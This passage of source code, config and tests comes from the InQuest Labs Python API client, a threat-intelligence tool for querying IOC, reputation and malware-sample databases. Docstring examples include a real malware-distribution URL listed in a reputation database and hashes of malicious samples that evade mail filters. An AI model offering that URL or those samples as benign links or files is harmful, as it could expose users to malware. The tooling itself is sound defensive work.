| { 778 | "artifact": "85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5", 779 | "artifact_type": "hash", 780 | "created_date": "Thu, 14 Nov 2019 19:14:55 GMT", 781 | "reference_link": "http://feedproxy.google.com/~r/feedburner/Talos/~3/cWpezcI4rFw/threat-source-newsletter-nov-14-2019.html", 782 | "reference_text": "Newsletter compiled by Jon Munshaw. Welcome to this week's Threat Source newsletter - the perfect place to get caught up on all things Talos..." 783 | } 784 | 785 | :type kind: str 786 | :param kind: Filter results by data type, can be one of 'ip', 'url', 'domain', 'yara', 'hash'. 787 | :type ref_link_keyword: str 788 | :param ref_link_keyword: Filter results by keyword in reference link. 789 | :type ref_text_keyword: str 790 | :param ref_text_keyword: Filter results by keyword in reference text. 791 | 792 | :rtype: dict 793 | :return: API response. 794 | """ 795 | 796 | filtered = [] 797 | 798 | for entry in self.API("/iocdb/list"): 799 | 800 | # process filters as disqualifiers. 801 | if kind is not None and not entry['artifact_type'].startswith(kind.lower()): 802 | continue 803 | 804 | if ref_link_keyword is not None and ref_link_keyword not in entry['reference_link'].lower(): 805 | continue 806 | 807 | if ref_text_keyword is not None and ref_text_keyword not in entry['reference_text'].lower(): 808 | continue 809 | 810 | # if we're still here, we keep the entry. 811 | filtered.append(entry) 812 | 813 | return filtered 814 | 815 | #################################################################################################################### 816 | def iocdb_search (self, keyword): 817 | """ 818 | Search the InQuest Labs IOC database for entries matching the keyword. 819 | 820 | :type keyword: str 821 | :param keyword: Search term. 822 | 823 | :rtype: dict 824 | :return: API response. 825 | """ 826 | 827 | return self.API("/iocdb/search", dict(keyword=keyword)) 828 | 829 | #################################################################################################################### 830 | def iocdb_sources (self): 831 | """ 832 | Retrieves the list of sources that fuel the InQuest Labs IOC database. 833 | 834 | :rtype: dict 835 | :return: API response. 836 | """ 837 | 838 | return self.API("/iocdb/sources") 839 | 840 | ######################################################################################################################## 841 | def is_ipv4 (self, s): 842 | # we prefer to use the ipaddress third-party module here, but fall back to a regex solution. 843 | try: 844 | import ipaddress 845 | except: 846 | if re.match("^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", s): 847 | return True 848 | else: 849 | return False 850 | 851 | # python 2/3 compat 852 | try: 853 | s = unicode(s) 854 | except: 855 | pass 856 | 857 | # is instance of IPv4 address? 858 | try: 859 | return isinstance(ipaddress.ip_address(s), ipaddress.IPv4Address) 860 | except: 861 | return False 862 | 863 | 864 | ######################################################################################################################## 865 | def is_ipv6 (self, s): 866 | # best effort pull in third-party module. 867 | try: 868 | import ipaddress 869 | except: 870 | return None 871 | 872 | # python 2/3 compat 873 | try: 874 | s = unicode(s) 875 | except: 876 | pass 877 | 878 | # is instance of IPv6 address? 879 | try: 880 | return isinstance(ipaddress.ip_address(s), ipaddress.IPv6Address) 881 | except: 882 | return False 883 | 884 | 885 | #################################################################################################################### 886 | def is_domain (self, s): 887 | return VALID_DOMAIN.match(s) 888 | 889 | #################################################################################################################### 890 | def is_ip (self, s): 891 | return self.is_ipv4(s) or self.is_ipv6(s) 892 | 893 | #################################################################################################################### 894 | def lookup (self, kind, ioc): 895 | """ 896 | Lookup information regarding IP address or Domain Name. 897 | 898 | :type kind: str 899 | :param kind: One of "IP" or "Domain". 900 | :type ioc: str 901 | :param ioc: Indicator to lookup. 902 | 903 | :rtype: dict 904 | :return: API response. 905 | """ 906 | 907 | kind = kind.lower() 908 | assert kind in ["ip", "domain"] 909 | 910 | return self.API("/lookup/%s" % kind, dict(indicator=ioc)) 911 | 912 | #################################################################################################################### 913 | def rate_limit_banner (self): 914 | """ 915 | Returns a string describing number of API requests made since instantiation, remaining API credits (if a rate 916 | limit is imposed), and when the rate limit window resets. 917 | 918 | :rtype: str 919 | :return: Request and rate limit information, in human readable format. 920 | """ 921 | 922 | if not self.api_requests_made: 923 | return "Rate limit information not available, no API requests made." 924 | 925 | if self.rlimit_requests_remaining: 926 | limit_banner = "%d API requests made. %d API requests remaining. Rate limit window resets on %s." 927 | limit_banner %= self.api_requests_made, self.rlimit_requests_remaining, self.rlimit_reset_epoch_ctime 928 | else: 929 | limit_banner = "%d API requests made. No rate limit! API key sourced from %s." 930 | limit_banner %= self.api_requests_made, self.api_key_source 931 | 932 | return limit_banner 933 | 934 | #################################################################################################################### 935 | def repdb_list (self, kind=None, source=None): 936 | """ 937 | Retrieve a list of the most recent entries added to the InQuest Labs reputation database. Example data:: 938 | 939 | { 940 | "created_date": "Thu, 14 Nov 2019 18:22:00 GMT", 941 | "data": "beautyevent.ru/Invoice-for-j/b-03/05/2018/", 942 | "data_type": "url", 943 | "derived": "beautyevent.ru", 944 | "derived_type": "domain", 945 | "source": "urlhaus", 946 | "source_url": "https://urlhaus.abuse.ch/host/beautyevent.ru" 947 | } 948 | 949 | :type kind: str 950 | :param kind: Filter results by data type, can be one of 'ip', 'url', 'domain', 'asn'. 951 | :type source: str 952 | :param source: Filter results by source, examples include: 'alienvault', 'blocklist', 'urlhaus', etc.. 953 | 954 | :rtype: dict 955 | :return: API response. 956 | """ 957 | 958 | filtered = [] 959 | 960 | for entry in self.API("/repdb/list"): 961 | 962 | # process filters as disqualifiers. 963 | if kind is not None and not entry['data_type'].startswith(kind.lower()): 964 | continue 965 | 966 | if source is not None and not entry['source'].startswith(source.lower()): 967 | continue 968 | 969 | # if we're still here, we keep the entry. 970 | filtered.append(entry) 971 | 972 | return filtered 973 | 974 | #################################################################################################################### 975 | def repdb_search (self, keyword): 976 | """ 977 | Search the InQuest Labs reputation database for entries matching the keyword. 978 | 979 | :type keyword: str 980 | :param keyword: Search term. 981 | 982 | :rtype: dict 983 | :return: API response. 984 | """ 985 | 986 | return self.API("/repdb/search", dict(keyword=keyword)) 987 | 988 | #################################################################################################################### 989 | def repdb_sources (self): 990 | """ 991 | Retrieves the list of sources that fuel the InQuest Labs reputaiton database. 992 | 993 | :rtype: dict 994 | :return: API response. 995 | """ 996 | 997 | return self.API("/repdb/sources") 998 | 999 | #################################################################################################################### 1000 | def report (self, ioc, timeout=None): 1001 | """ 1002 | Leverage multiprocessing to produce a single report for the supplied IP/domain indicator which includes data 1003 | from: lookup, DFIdb, REPdb, and IOCdb. 1004 | 1005 | :type ioc: str 1006 | :param ioc: Indicator to lookup (IP, domain, URL) 1007 | :type timeout: integer 1008 | :param timeout: Maximum time given to producing the IOC report (default=60). 1009 | 1010 | :rtype: dict 1011 | :return: API response. 1012 | """ 1013 | 1014 | # default timeout. 1015 | if timeout is None: 1016 | timeout = 60 1017 | 1018 | # parallelization. 1019 | jobs = [] 1020 | mngr = multiprocessing.Manager() 1021 | resp = mngr.dict() 1022 | 1023 | # what kind of IOC are we dealing with. 1024 | if self.is_ip(ioc): 1025 | kind = "ip" 1026 | elif self.is_domain(ioc): 1027 | kind = "domain" 1028 | elif ioc.startswith("http"): 1029 | kind = "url" 1030 | else: 1031 | raise inquestlabs_exception("could not determine indicator type for %s" % ioc) 1032 | 1033 | # only IPs and domains get lookups. 1034 | if kind in ["ip", "domain"]: 1035 | job = multiprocessing.Process(target=worker_proxy, args=(self, "lookup", [kind, ioc], resp)) 1036 | jobs.append(job) 1037 | job.start() 1038 | 1039 | # all IOCs get compared against DFIdb, REPdb, and IOCdb 1040 | job = multiprocessing.Process(target=worker_proxy, args=(self, "dfi_search", ["ioc", kind, ioc], resp)) 1041 | jobs.append(job) 1042 | job.start() 1043 | 1044 | job = multiprocessing.Process(target=worker_proxy, args=(self, "repdb_search", [ioc], resp)) 1045 | jobs.append(job) 1046 | job.start() 1047 | 1048 | job = multiprocessing.Process(target=worker_proxy, args=(self, "iocdb_search", [ioc], resp)) 1049 | jobs.append(job) 1050 | job.start() 1051 | 1052 | # wait for jobs to complete. 1053 | self.__VERBOSE("waiting up to %d seconds for %d jobs to complete" % (timeout, len(jobs))) 1054 | 1055 | # wait for jobs to complete, up to timeout 1056 | start = time.time() 1057 | 1058 | while time.time() - start <= timeout: 1059 | if not any(job.is_alive() for job in jobs): 1060 | # all the processes are done, break now. 1061 | break 1062 | 1063 | # this prevents CPU hogging. 1064 | time.sleep(1) 1065 | 1066 | else: 1067 | self.__VERBOSE("timeout reached, killing jobs...") 1068 | for job in jobs: 1069 | job.terminate() 1070 | job.join() 1071 | 1072 | elapsed = time.time() - start 1073 | self.__VERBOSE("completed all jobs in %d seconds" % elapsed) 1074 | 1075 | # return the combined response. 1076 | return dict(resp) 1077 | 1078 | 1079 | #################################################################################################################### 1080 | def stats (self): 1081 | """ 1082 | Retrieve statistics from InQuest Labs. 1083 | 1084 | :rtype: list 1085 | :return: List of dictionaries. 1086 | """ 1087 | 1088 | return self.API("/stats") 1089 | 1090 | #################################################################################################################### 1091 | def trystero_list_days (self): 1092 | """ 1093 | Retrieve the list of days and sample counts that we have Trystero data on. For further information on Trystero, 1094 | see https://labs.inquest.net/trystero for further information. Example data:: 1095 | 1096 | { 1097 | "2021-08-04": 406, 1098 | "2021-08-05": 30, 1099 | "2021-08-06": 49, 1100 | "2021-08-07": 30, 1101 | "2021-08-09": 22, 1102 | "2021-08-10": 36, 1103 | "first_record": "2020-08-09" 1104 | } 1105 | 1106 | :rtype: dict 1107 | :return: Dictionary of key=date value=count pairs. 1108 | """ 1109 | 1110 | return self.API("/trystero/list") 1111 | 1112 | #################################################################################################################### 1113 | def trystero_list_samples (self, date): 1114 | """ 1115 | Retrieve the list of samples from the Trysteo project (these are samples that bypassed either Microsoft, Google, 1116 | or both. For further information on Trystero, see https://labs.inquest.net/trystero. Example data:: 1117 | 1118 | [ 1119 | { 1120 | "analysis_completed": false, 1121 | "available_on_labs": false, 1122 | "bypasses": "microsoft", 1123 | "classification": "MALICIOUS", 1124 | "downloadable": false, 1125 | "file_type": "OTHER", 1126 | "first_seen": "2021-08-09T23:16:46", 1127 | "image": false, 1128 | "inquest_alerts": [ 1129 | { 1130 | "category": "info", 1131 | "description": "Found a Windows Portable Executable (PE) binary. Depending on context, the presence of a binary is suspicious or malicious.", 1132 | "reference": null, 1133 | "title": "Windows PE Executable" 1134 | } 1135 | ], 1136 | "last_inquest_featext": null, 1137 | "mime_type": "application/x-msi", 1138 | "sha256": "01241e05ebab5c9f010de24dd3e611a4eb5b4ad883bafbb416383195bb423182", 1139 | "size": 14752768, 1140 | "subcategory": "maldoc_hunter", 1141 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/maldoc_hunter.rule", 1142 | "vt_positives": 4, 1143 | "vt_weight": 2.799999952316284 1144 | } 1145 | ] 1146 | 1147 | :type date: str 1148 | :param date: Date for which we wish to retrieve sample information. 1149 | 1150 | :rtype: list 1151 | :return: List of dictionaries. 1152 | """ 1153 | 1154 | return self.API("/trystero/%s" % date) 1155 | 1156 | #################################################################################################################### 1157 | def yara_b64re (self, regex, endian=None): 1158 | """ 1159 | Save time and avoid tedious manual labor by automatically converting plain-text regular expressions into their 1160 | base64 compatible form. 1161 | 1162 | :type regex: str 1163 | :param regex: Regular expression to convert. 1164 | :type endian: str 1165 | :param endian: Optional endianess, can be either "BIG" or "LITTLE". 1166 | 1167 | :rtype: str 1168 | :return: Base64 matching regular expression. 1169 | """ 1170 | 1171 | # initialize data dictionary with supplied regular expression. 1172 | data = dict(instring=regex) 1173 | 1174 | # splice in the appropriate endianess option if supplied. 1175 | if endian: 1176 | endian = endian.upper() 1177 | 1178 | if endian == "BIG": 1179 | data['option'] = "widen_big" 1180 | elif endian == "LITTLE": 1181 | data['option'] = "widen_little" 1182 | else: 1183 | raise inquestlabs_exception("invalid endianess supplied to yara_b64re: %s" % endian) 1184 | 1185 | # dance with the API and return results. 1186 | return self.API("/yara/base64re", data) 1187 | 1188 | #################################################################################################################### 1189 | def yara_hexcase (self, instring): 1190 | """ 1191 | Translate hex encoded strings into a regular expression form that is agnostic to MixED CaSE CharACtErS. 1192 | 1193 | :type instring: str 1194 | :param instring: String to convert. 1195 | 1196 | :rtype: str 1197 | :return: Mixed hex case insensitive regular expression. 1198 | """ 1199 | 1200 | return self.API("/yara/mixcase", dict(instring=instring)) 1201 | 1202 | #################################################################################################################### 1203 | def yara_widere (self, regex, endian=None): 1204 | """ 1205 | Save time and avoid tedious manual labor by automating converting ascii regular expressions widechar forms. 1206 | 1207 | :type regex: str 1208 | :param regex: Regular expression to convert. 1209 | :type endian: str 1210 | :param endian: Optional endianess, can be either "BIG" or "LITTLE". 1211 | 1212 | :rtype: str 1213 | :return: Widened regular expression. 1214 | """ 1215 | 1216 | # initialize data dictionary with supplied regular expression. 1217 | data = dict(instring=regex) 1218 | 1219 | # splice in the appropriate endianess option if supplied. 1220 | if endian: 1221 | endian = endian.upper() 1222 | 1223 | if endian in ["BIG", "LITTLE"]: 1224 | data['kind'] = endian 1225 | else: 1226 | raise inquestlabs_exception("invalid endianess supplied to yara_b64re: %s" % endian) 1227 | 1228 | # dance with the API and return results. 1229 | return self.API("/yara/widere", data) 1230 | 1231 | #################################################################################################################### 1232 | def yara_uint (self, magic, offset=0, is_hex=False): 1233 | """ 1234 | Improve the performance of your YARA rules by converting string comparisons into unsigned integer pointer 1235 | dereferences. 1236 | 1237 | :type magic: str 1238 | :param magic: String we which to convert to unit() trigger. 1239 | :type offset: int 1240 | :param offset: Optional offset in hex (0xde) or decimal (222) to look for magic at, defaults to 0. 1241 | :type hex: bool 1242 | :param hex: Raise this flag to treat 'magic' as hex encoded bytes. 1243 | 1244 | :rtype: str 1245 | :return: YARA condition looking for magic at offset via uint() magic. 1246 | """ 1247 | 1248 | return self.API("/yara/trigger", dict(trigger=magic, offset=offset, is_hex=is_hex)) 1249 | 1250 | #################################################################################################################### 1251 | def cidr_to_regex (self, data): 1252 | """ 1253 | Produce a regular expression from a IPv4 CIDR notation in a form suitable for usage as a YARA string. 1254 | 1255 | :type regex: str 1256 | :param regex: Regular expression to convert. 1257 | 1258 | :rtype: str 1259 | :return: Regex string suitable for YARA. 1260 | """ 1261 | 1262 | # dance with the API and return results. 1263 | return self.API("/yara/cidr2regex", params={ 1264 | "cidr": data 1265 | }) 1266 | 1267 | ######################################################################################################################## 1268 | ######################################################################################################################## 1269 | ######################################################################################################################## 1270 | 1271 | def main (): 1272 | args = docopt.docopt(__doc__, version=__version__) 1273 | 1274 | # --debug is for docopt argument parsing. useful to pipe to: egrep -v "False|None" 1275 | if args['--debug']: 1276 | print(args) 1277 | return 1278 | 1279 | # instantiate interface to InQuest Labs. 1280 | labs = inquestlabs_api(args['--api'], args['--config'], args['--proxy'], verbose=int(args['--verbose'])) 1281 | 1282 | ### DFI ############################################################################################################ 1283 | if args['dfi']: 1284 | 1285 | # inquestlabs [options] dfi attributes [--filter=] 1286 | if args['attributes']: 1287 | print(json.dumps(labs.dfi_attributes(args[''], args['--filter']))) 1288 | 1289 | # inquestlabs [options] dfi details [--attributes] 1290 | elif args['details']: 1291 | print(json.dumps(labs.dfi_details(args[''], args['--attributes']))) 1292 | 1293 | # inquestlabs [options] dfi download [--encrypt] 1294 | elif args['download']: 1295 | start = time.time() 1296 | labs.dfi_download(args[''], args[''], args['--encrypt']) 1297 | print("saved %s as '%s' in %d seconds." % (args[''], args[''], time.time() - start)) 1298 | 1299 | # inquestlabs [options] dfi list 1300 | elif args['list']: 1301 | print(json.dumps(labs.dfi_list())) 1302 | 1303 | elif args['search']: 1304 | 1305 | # inquestlabs [options] dfi search (code|context|metadata|ocr) 1306 | if args['']: 1307 | if args['code']: 1308 | results = labs.dfi_search("ext", "code", args['']) 1309 | elif args['context']: 1310 | results = labs.dfi_search("ext", "context", args['']) 1311 | elif args['metadata']: 1312 | results = labs.dfi_search("ext", "metadata", args['']) 1313 | elif args['ocr']: 1314 | results = labs.dfi_search("ext", "ocr", args['']) 1315 | else: 1316 | raise inquestlabs_exception("keyword search argument parsing fail.") 1317 | 1318 | # inquestlabs [options] dfi search (md5|sha1|sha256|sha512) 1319 | elif args['']: 1320 | if args['md5']: 1321 | results = labs.dfi_search("hash", "md5", args['']) 1322 | elif args['sha1']: 1323 | results = labs.dfi_search("hash", "sha1", args['']) 1324 | elif args['sha256']: 1325 | results = labs.dfi_search("hash", "sha256", args['']) 1326 | elif args['sha512']: 1327 | results = labs.dfi_search("hash", "sha512", args['']) 1328 | else: 1329 | raise inquestlabs_exception("hash search argument parsing fail.") 1330 | 1331 | # inquestlabs [options] dfi search (domain|email|filename|filepath|ip|registry|url|xmpid) 1332 | elif args['']: 1333 | if args['domain']: 1334 | results = labs.dfi_search("ioc", "domain", args['']) 1335 | elif args['email']: 1336 | results = labs.dfi_search("ioc", "email", args['']) 1337 | elif args['filename']: 1338 | results = labs.dfi_search("ioc", "filename", args['']) 1339 | elif args['filepath']: 1340 | results = labs.dfi_search("ioc", "filepath", args['']) 1341 | elif args['ip']: 1342 | results = labs.dfi_search("ioc", "ip", args['']) 1343 | elif args['registry']: 1344 | results = labs.dfi_search("ioc", "registry", args['']) 1345 | elif args['url']: 1346 | results = labs.dfi_search("ioc", "url", args['']) 1347 | elif args['xmpid']: 1348 | results = labs.dfi_search("ioc", "xmpid", args['']) 1349 | else: 1350 | raise inquestlabs_exception("ioc search argument parsing fail.") 1351 | 1352 | # search results. 1353 | print(json.dumps(results)) 1354 | 1355 | # inquestlabs [options] dfi sources 1356 | elif args['sources']: 1357 | print(json.dumps(labs.dfi_sources())) 1358 | 1359 | # inquestlabs [options] dfi upload 1360 | elif args['upload']: 1361 | start = time.time() 1362 | sha256 = labs.dfi_upload(args['']) 1363 | print("successfully uploaded %s in %d seconds." % (args[''], time.time() - start)) 1364 | print("see results at: https://labs.inquest.net/dfi/sha256/%s" % sha256) 1365 | 1366 | # huh? 1367 | else: 1368 | raise inquestlabs_exception("dfi argument parsing fail.") 1369 | 1370 | ### IOCDB ########################################################################################################## 1371 | elif args['iocdb']: 1372 | 1373 | # inquestlabs [options] iocdb list 1374 | if args['list']: 1375 | print(json.dumps(labs.iocdb_list())) 1376 | 1377 | # inquestlabs [options] iocdb search 1378 | elif args['search']: 1379 | print(json.dumps(labs.iocdb_search(args['']))) 1380 | 1381 | # inquestlabs [options] iocdb sources 1382 | elif args['sources']: 1383 | print(json.dumps(labs.iocdb_sources())) 1384 | 1385 | # huh? 1386 | else: 1387 | raise inquestlabs_exception("iocdb argument parsing fail.") 1388 | 1389 | ### REPDB ########################################################################################################## 1390 | elif args['repdb']: 1391 | 1392 | # inquestlabs [options] repdb list 1393 | if args['list']: 1394 | print(json.dumps(labs.repdb_list())) 1395 | 1396 | # inquestlabs [options] repdb search 1397 | elif args['search']: 1398 | print(json.dumps(labs.repdb_search(args['']))) 1399 | 1400 | # inquestlabs [options] repdb sources 1401 | elif args['sources']: 1402 | print(json.dumps(labs.repdb_sources())) 1403 | 1404 | # huh? 1405 | else: 1406 | raise inquestlabs_exception("repdb argument parsing fail.") 1407 | 1408 | ### YARA ########################################################################################################### 1409 | elif args['yara']: 1410 | 1411 | # normalize big/little endian switches. 1412 | if args['--big-endian']: 1413 | endian = "BIG" 1414 | elif args['--little-endian']: 1415 | endian = "LITTLE" 1416 | else: 1417 | endian = None 1418 | 1419 | # NOTE: we don't json.dumps() these values as they are likely going to be wanted to be used raw and not piped 1420 | # into another JSON expectant tool. 1421 | 1422 | # inquestlabs [options] yara (b64re|base64re) [(--big-endian|--little-endian)] 1423 | if args['b64re'] or args['base64re']: 1424 | print(labs.yara_b64re(args[''], endian)) 1425 | 1426 | # inquestlabs [options] yara hexcase 1427 | elif args['hexcase']: 1428 | print(labs.yara_hexcase(args[''])) 1429 | 1430 | # inquestlabs [options] yara uint [--offset=] [--hex] 1431 | elif args['uint']: 1432 | print(labs.yara_uint(args[''], args['--offset'], args['--hex'])) 1433 | 1434 | # inquestlabs [options] yara widere [(--big-endian|--little-endian)] 1435 | elif args['widere']: 1436 | print(labs.yara_widere(args[''], endian)) 1437 | 1438 | # inquestlabs [options] yara cidr 1439 | elif args['cidr']: 1440 | print(labs.cidr_to_regex(args[''])) 1441 | 1442 | # huh? 1443 | else: 1444 | raise inquestlabs_exception("yara argument parsing fail.") 1445 | 1446 | ### IP/DOMAIN LOOKUP ############################################################################################### 1447 | elif args['lookup']: 1448 | if args['ip']: 1449 | print(json.dumps(labs.lookup('ip', args['']))) 1450 | 1451 | elif args['domain']: 1452 | print(json.dumps(labs.lookup('domain', args['']))) 1453 | 1454 | else: 1455 | raise inquestlabs_exception("'lookup' supports 'ip' and 'domain'.") 1456 | 1457 | ### IP/DOMAIN/URL REPORT ########################################################################################### 1458 | elif args['report']: 1459 | print(json.dumps(labs.report(args[''], args['--timeout']))) 1460 | 1461 | ### MISCELLANEOUS ################################################################################################## 1462 | elif args['stats']: 1463 | print(json.dumps(labs.stats())) 1464 | 1465 | elif args['setup']: 1466 | if os.path.exists(labs.config_file): 1467 | print("config file already exists: %s, won't overwrite." % labs.config_file) 1468 | else: 1469 | try: 1470 | with open(labs.config_file, "w+") as fh: 1471 | fh.write("[inquestlabs]\n") 1472 | fh.write("apikey: %s\n" % args['']) 1473 | print("config file at %s initialized with API key %s" % (labs.config_file, args[''])) 1474 | except: 1475 | print("failed writing apikey to config file: %s" % labs.config_file) 1476 | 1477 | ### TRYSTERO PROJECT DATA ########################################################################################## 1478 | elif args['trystero']: 1479 | 1480 | # inquestlabs [options] trystero list-days 1481 | if args['list-days']: 1482 | print(json.dumps(labs.trystero_list_days())) 1483 | 1484 | # inquestlabs [options] trystero list-samples 1485 | elif args['list-samples']: 1486 | date = args[''] 1487 | 1488 | if re.match("\d{4}-\d{2}-\d{2}", date): 1489 | print(json.dumps(labs.trystero_list_samples(date))) 1490 | else: 1491 | raise inquestlabs_exception("invalidate date format: '%s', expecting ex: '2021-08-09'" % date) 1492 | 1493 | # huh? 1494 | else: 1495 | raise inquestlabs_exception("trystero argument parsing fail.") 1496 | 1497 | # huh? 1498 | else: 1499 | raise inquestlabs_exception("argument parsing fail.") 1500 | 1501 | ### WRAP UP ######################################################################################################## 1502 | if args['--limits']: 1503 | sys.stderr.write(labs.rate_limit_banner() + "\n") 1504 | 1505 | ######################################################################################################################## 1506 | if __name__ == '__main__': 1507 | main() 1508 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["hatchling", "wheel"] 3 | build-backend = "hatchling.build" 4 | 5 | [project] 6 | name = "inquestlabs" 7 | version = "1.2.4" 8 | license = {file = "LICENSE"} 9 | authors = [ 10 | { name="InQuest", email="labs@inquest.net" }, 11 | ] 12 | description = "A Pythonic interface and CLI tool for the InQuest Labs API" 13 | readme = "README.md" 14 | requires-python = ">=3.6" 15 | 16 | dependencies = [ 17 | "attrs", 18 | "certifi", 19 | "charset-normalizer", 20 | "docopt", 21 | "idna", 22 | "iniconfig", 23 | "packaging", 24 | "pluggy", 25 | "py", 26 | "pyparsing", 27 | "requests", 28 | "six", 29 | "tomli", 30 | "urllib3", 31 | ] 32 | 33 | classifiers = [ 34 | "Programming Language :: Python :: 3", 35 | "License :: OSI Approved :: GNU General Public License v2 (GPLv2)", 36 | "Operating System :: OS Independent", 37 | ] 38 | 39 | [project.scripts] 40 | inquestlabs = "inquestlabs:main" 41 | 42 | [project.urls] 43 | "Homepage" = "https://labs.inquest.net/" 44 | "Repository" = "https://github.com/InQuest/python-inquestlabs" 45 | "Bug Tracker" = "https://github.com/InQuest/python-inquestlabs/issues" 46 | -------------------------------------------------------------------------------- /requirements-testing.txt: -------------------------------------------------------------------------------- 1 | pytest 2 | pytest-mock 3 | coverage 4 | requests-mock -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | attrs 2 | certifi 3 | charset-normalizer 4 | docopt 5 | idna 6 | iniconfig 7 | packaging 8 | pluggy 9 | py 10 | pyparsing 11 | requests 12 | six 13 | tomli 14 | urllib3 -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/InQuest/python-inquestlabs/8c3d4f63205cd2e92467922050a573e2bdc5cfb9/tests/__init__.py -------------------------------------------------------------------------------- /tests/conftest.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | import sys 3 | import os 4 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 5 | from inquestlabs import inquestlabs_api 6 | import requests_mock 7 | import requests 8 | 9 | @pytest.fixture(scope="module") 10 | def labs(): 11 | labs = inquestlabs_api() 12 | return labs 13 | 14 | 15 | @pytest.fixture(scope="module") 16 | def labs_with_key(): 17 | labs_api = inquestlabs_api(api_key="mock") 18 | return labs_api 19 | 20 | -------------------------------------------------------------------------------- /tests/test_api.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | import sys, os 3 | import requests 4 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 5 | 6 | from inquestlabs import inquestlabs_exception 7 | import requests_mock 8 | 9 | def mocked_400_response_request(*args, **kwargs): 10 | with requests_mock.Mocker() as mock_request: 11 | mock_request.get("http://labs_mock.com", json={"error":400}, status_code=400) 12 | response = requests.get("http://labs_mock.com") 13 | return response 14 | 15 | def mocked_413_response_size_exceeded(*args, **kwargs): 16 | with requests_mock.Mocker() as mock_request: 17 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=413) 18 | response = requests.get("http://labs_mock.com") 19 | return response 20 | 21 | def mocked_500_response_generic_failure(*args, **kwargs): 22 | with requests_mock.Mocker() as mock_request: 23 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=500) 24 | response = requests.get("http://labs_mock.com") 25 | return response 26 | 27 | def mocked_404_response_nonexistant(*args, **kwargs): 28 | with requests_mock.Mocker() as mock_request: 29 | mock_request.get("http://labs_mock.com", status_code=404) 30 | response = requests.get("http://labs_mock.com") 31 | return response 32 | 33 | def mocked_400_response_missing_parameter(*args, **kwargs): 34 | with requests_mock.Mocker() as mock_request: 35 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=400) 36 | response = requests.get("http://labs_mock.com") 37 | return response 38 | 39 | def mocked_429_response_ratelimit(*args, **kwargs): 40 | with requests_mock.Mocker() as mock_request: 41 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=200) 42 | response = requests.get("http://labs_mock.com") 43 | return response 44 | 45 | def mocked_200_response_unsuccessful_request(*args, **kwargs): 46 | with requests_mock.Mocker() as mock_request: 47 | mock_request.get("http://labs_mock.com", json={"success":False}, status_code=200) 48 | response = requests.get("http://labs_mock.com") 49 | return response 50 | 51 | def test_api_invalid_method(labs): 52 | with pytest.raises(Exception)as excinfo: 53 | labs.API("mock", data=None, path=None, method="INVALID", raw=False) 54 | 55 | assert "AssertionError" in str(excinfo.type) 56 | 57 | def test_api_invalid_path(labs): 58 | with pytest.raises(Exception) as excinfo: 59 | labs.API("mock", data=None, path="invalid", method="GET", raw=False) 60 | 61 | assert "FileNotFound" in str(excinfo.type) 62 | 63 | def test_api_exceeded_attempts_to_communicate(labs,mocker): 64 | mocker.patch('requests.request' , side_effect=Exception) 65 | with pytest.raises(inquestlabs_exception) as excinfo: 66 | labs.API("mock") 67 | 68 | assert "attempts to communicate with InQuest" in str(excinfo.value) 69 | 70 | def test_api_bad_status_code(labs,mocker): 71 | mocker.patch('requests.request', side_effect=mocked_400_response_request) 72 | with pytest.raises(inquestlabs_exception) as excinfo: 73 | labs.API("mock") 74 | 75 | assert "status=400" in str(excinfo.value) 76 | 77 | def test_api_unsuccessful_request(labs,mocker): 78 | mocker.patch('requests.request', side_effect=mocked_200_response_unsuccessful_request) 79 | with pytest.raises(inquestlabs_exception) as excinfo: 80 | labs.API("mock") 81 | 82 | assert "status=200 but error communicating" in str(excinfo.value) 83 | 84 | 85 | def test_api_invalid_method_with_key(labs_with_key): 86 | with pytest.raises(Exception)as excinfo: 87 | labs_with_key.API("mock", data=None, path=None, method="INVALID", raw=False) 88 | 89 | assert "AssertionError" in str(excinfo.type) 90 | 91 | def test_api_invalid_path_with_key(labs_with_key): 92 | with pytest.raises(Exception) as excinfo: 93 | labs_with_key.API("mock", data=None, path="invalid", method="GET", raw=False) 94 | 95 | assert "FileNotFound" in str(excinfo.type) 96 | 97 | def test_api_exceeded_attempts_to_communicate(labs_with_key,mocker): 98 | mocker.patch('requests.request' , side_effect=Exception) 99 | with pytest.raises(inquestlabs_exception) as excinfo: 100 | labs_with_key.API("mock") 101 | 102 | assert "attempts to communicate with InQuest" in str(excinfo.value) 103 | 104 | def test_api_bad_status_code(labs_with_key,mocker): 105 | mocker.patch('requests.request', side_effect=mocked_400_response_request) 106 | with pytest.raises(inquestlabs_exception) as excinfo: 107 | labs_with_key.API("mock") 108 | 109 | assert "status=400" in str(excinfo.value) 110 | 111 | def test_api_unsuccessful_request(labs_with_key,mocker): 112 | mocker.patch('requests.request', side_effect=mocked_200_response_unsuccessful_request) 113 | with pytest.raises(inquestlabs_exception) as excinfo: 114 | labs_with_key.API("mock") 115 | 116 | assert "status=200 but error communicating" in str(excinfo.value) 117 | 118 | def test_api_ratelimit_reached(labs_with_key,mocker): 119 | mocker.patch('requests.request', side_effect=mocked_200_response_unsuccessful_request) 120 | with pytest.raises(inquestlabs_exception) as excinfo: 121 | labs_with_key.API("mock") 122 | 123 | assert "status=200 but error communicating" in str(excinfo.value) 124 | -------------------------------------------------------------------------------- /tests/test_dfi_attributes.py: -------------------------------------------------------------------------------- 1 | import pytest 2 | import sys 3 | import os 4 | 5 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 6 | from inquestlabs import inquestlabs_exception 7 | from inquestlabs import inquestlabs_api 8 | 9 | @pytest.fixture 10 | def mock_attribs(): 11 | return [ 12 | {"attribute": "domain", 13 | "category": "ioc", 14 | "count": 1, 15 | "value": "aHX3xw.ao" 16 | }, 17 | {"attribute": "domain", 18 | "category": "ioc", 19 | "count": 1, 20 | "value": "aHX3xw.bt" 